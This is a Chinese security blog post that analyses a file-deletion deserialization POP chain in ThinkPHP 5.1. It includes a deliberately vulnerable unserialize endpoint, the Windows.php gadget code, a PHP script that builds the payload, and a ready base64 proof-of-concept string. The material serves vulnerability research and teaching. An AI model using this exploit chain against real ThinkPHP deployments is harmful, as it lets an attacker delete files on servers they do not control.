ThinkPHP5.1.*反序列化文件删除POP分析

admin 2024年1月8日23:47:32评论9 views字数 2038阅读6分47秒阅读模式
ThinkPHP5.1.*反序列化文件删除POP分析

点击上方蓝字·关注我们



免责声明

由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。谢谢!

框架介绍

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式

环境搭建

我这里采用phpstudy搭建,配置网站根目录指向public目录下

ThinkPHP5.1.*反序列化文件删除POP分析

创建后,访问网站

ThinkPHP5.1.*反序列化文件删除POP分析

出现thinkphp的经典界面就搭建成功了

漏洞挖掘

由于是反序列化漏洞,我们要先写一个漏洞触发点

 public  function caigo(){        unserialize(base64_decode($_GET['id']));        return "Wecome!";    }

由于是第一篇框架反序列化分析,这里讲一些反序列化的基础知识,之后的POP分析文章中就不会提到了

当我们挖反序列化漏洞的时候,分为三部分:

  1. 反序列化常用起点

    __wakeup 一定会调用

    __destruct 一定会调用

    __toString 当一个对象被反序列后又被当字符串使用

  2. 反序列化的常见中间跳板

    __toString 当一个对象被当做字符串使用

    __get 读取不可访问或不存在属性时被调用

    __set:当访问不可访问或不存在属性赋值时调用

  3. 反序列化的常见终点

    __call()调用不可访问或不存在的方法时被调用

    call_user_func() 一般PHP代码执行会选择这里

    call_user_func_array 一般PHP代码执行会选择这里

第一部分就不用多说了,除了__toString就是只要有反序列化操作就会触发的,第二部分就是如果在第一部分中找不到利用的点就会查看第二部分进行中转寻找触发点,第三部分就是在最后执行一些危险函数。

一条反序列化pop链可能只有1.3部分,也可能有1,2,3

按照这个思路,我们全局搜索__destruct(

ThinkPHP5.1.*反序列化文件删除POP分析

通过筛选定位到thinkphp/library/think/process/pipes/Windows.php中的一处代码段

 public function __destruct(){        $this->close();        $this->removeFiles();    }

我们转到removeFiles()的声明

   private function removeFiles(){        foreach ($this->files as $filename) {            if (file_exists($filename)) {                @unlink($filename);            }        }        $this->files = [];    }

发现危险函数unlike,$filename是由files控制,我们转到files的声明

ThinkPHP5.1.*反序列化文件删除POP分析

发现一个Windows类,$files的值我们可控,那我们的完整的反序列化流程就清楚了,构造pop链

<?php
namespace thinkprocesspipes;use thinkProcess;//路由声明
class Pipes{}//由于Windows类是继承Pipes所以要创建一个
class Windows extends Pipes{
/** @var array */    private $files = ['d:\caigocaigo8.txt']; //漏洞控制点,files的值就是后面传入unlike中的$filename}$a = new Windows();//实例化Windiws类echo base64_encode((serialize($a)));//序列化对象,加上base64编码,因为我触发反序列化的代码段有base解码?>

生成好的POP链

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjE5OiJkOlxjYWlnb1xjYWlnbzgudHh0Ijt9fQ==

我们直接传入POC测试

ThinkPHP5.1.*反序列化文件删除POP分析

文件成功删除

最后

距离上次更新隔的太久了,没办法最近事情实在是太多了,没啥时间更新,只能是有空再更,ThinkPHP反序列化漏洞还有很多,这条链子的构造是非常简单的了,没有中转,只有1,3部分,是不是给人一种我上我也行的感觉,这篇文章只是作为框架漏洞挖掘的开篇,还有很多非常复杂的利用链,不只是反序列化,有些框架的其他的历史漏洞审计分析,在后续我也会更新的。
资源获取

原文始发于微信公众号(菜狗安全):ThinkPHP5.1.*反序列化文件删除POP分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月8日23:47:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP5.1.*反序列化文件删除POP分析https://cn-sec.com/archives/2373920.html

发表评论

匿名网友 填写信息